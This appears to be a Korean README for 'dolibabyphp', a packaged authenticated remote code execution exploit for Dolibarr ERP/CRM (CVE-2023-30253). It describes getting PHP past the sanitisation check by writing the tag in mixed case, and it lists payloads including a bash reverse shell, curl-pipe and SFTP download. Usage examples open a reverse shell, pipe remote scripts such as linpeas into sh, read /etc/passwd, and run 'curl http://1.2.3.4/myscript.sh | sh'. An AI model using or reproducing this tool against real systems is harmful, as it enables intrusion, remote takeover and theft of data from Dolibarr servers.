
Dolibarr ERP/CRM CVE-2023-30253에 대한 인증된 RCE 익스플로잇입니다.
Dolibarr ERP/CRM CVE-2023-30253에 대한 인증된 RCE 익스플로잇입니다.
PyPi 저장소에서 pip로 패키지를 설치하거나 GitHub에서 직접 git clone으로 소스를 가져올 수 있습니다.
pip install dolibabyphp
Usage: dolibabyphp [OPTIONS] TARGET_URL USERNAME PASSWORD COMMAND [ARGS]...
이 익스플로잇은 지정된 대상 URL의 Dolibarr 웹 서버에 제공된 사용자 이름과 비밀번호로 로그인합니다.
그 후 고유한 이름의 웹 페이지를 생성합니다. 생성되면, 소문자만 사용하지 않음으로써(예: php 대신 PHP 또는 pHp) 위생 검사를 우회하여 사용자 정의 PHP 코드를 포함하도록 웹 페이지를 수정합니다.
선택할 수 있는 여러 페이로드가 있습니다. 페이로드 실행이 완료되면 웹 페이지가 삭제됩니다.
Options:
--site-name TEXT 대상에 사이트를 생성할 때 사용할 이름을 지정합니다. 기본값은 UUIDv4입니다.
--page-name TEXT 대상에 페이지를 생성할 때 사용할 이름을 지정합니다. 기본값은 UUIDv4입니다.
--page-title TEXT 페이지 제목을 지정합니다. 기본값은 페이지 이름입니다.
--proxy TEXT 모든 요청에 사용할 프록시 URL을 지정합니다.
-o, --output FILENAME 페이로드 결과를 출력할 파일 경로를 지정합니다. 기본값은 stdout입니다.
-h, --help 이 메시지를 표시하고 종료합니다.
Commands:
bash-reverse-shell 피해 시스템에서 bash 셸을 생성하고...
cleanup 지정된 사이트에 대해 대상에서 정리 스크립트를 실행합니다...
curl-pipe 파일을 curl로 가져와 다른 명령어로 파이프합니다.
custom-php-payload 피해 시스템에서 실행할 자신만의 PHP 페이로드를 지정합니다...
custom-system-payload PHP system()을 통해 실행할 자신만의 페이로드를 지정합니다...
sftp 공격자 시스템으로 SFTP 연결, 다운로드...
wget 지정된 URL의 파일을 다운로드하여...
다음은 CLI 사용 예제입니다.
# Bash를 사용한 리버스 셸.
dolibabyphp http://example.com/ username1 pass_word23 bash-reverse-shell --lhost 1.2.3.4 --lport 4444
# 프록시를 사용한 사용자 정의 페이로드.
dolibabyphp --proxy http://127.0.0.1:8080 http://example.com/ username1 pass_word23 custom-system-payload --payload "uname -a"
# SFTP 및 페이로드 실행 결과를 파일에 출력.
dolibabyphp -o ./linpeas-output.txt http://example.com/ username1 pass_word23 sftp --private-key-file ./id_ed25519 sftp://[email protected]:2222/linpeas.sh ./style.css
# Curl 페이로드를 sh로 파이프.
dolibabyphp -o ./linpeas-output.txt http://example.com/ username1 pass_word23 curl-pipe https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
이 익스플로잇을 다른 Python 프로젝트에 통합하려면 임포트하여 사용할 수 있습니다.
from dolibabyphp import Exploit, furl, php_system, open_file, cleanup_site
from time import sleep
exploit = Exploit(
target_url=furl('http://example.com'),
username="username1",
password="pass_word23",
)
# 페이로드 결과를 익스플로잇에서 직접 가져올 수 있습니다.
result = exploit.run(php_system('cat /etc/passwd'))
users = list(map(lambda acct: acct.split(':')[0], result.output.split('\n')))
# 정리 실패 시 다시 시도할 수 있습니다.
while not result.cleaned_up:
time.sleep(30) # 정리 재시도 전에 잠시 대기
result.cleanup()
# 결과를 파일에 쓸 수도 있습니다.
with open_file('./exploit-output.txt', 'w', lazy=True) as file:
# 동일한 Exploit 인스턴스를 재사용할 수 있습니다.
exploit.output = file
# site_name과 page_name은 자동으로 변경되지 않습니다.
result = exploit.run(php_system('curl http://1.2.3.4/myscript.sh | sh'))
소스 코드로 프로젝트를 실행하려면 rye run을 사용하거나 src/ 디렉토리를 PYTHONPATH에 추가한 후 -m 플래그와 함께 dolibabyphp 모듈을 임포트하면 됩니다.
# rye 사용
rye run dolibabyphp
# rye 미사용
PYTHONPATH="$(pwd)/src/" python -m dolibabyphp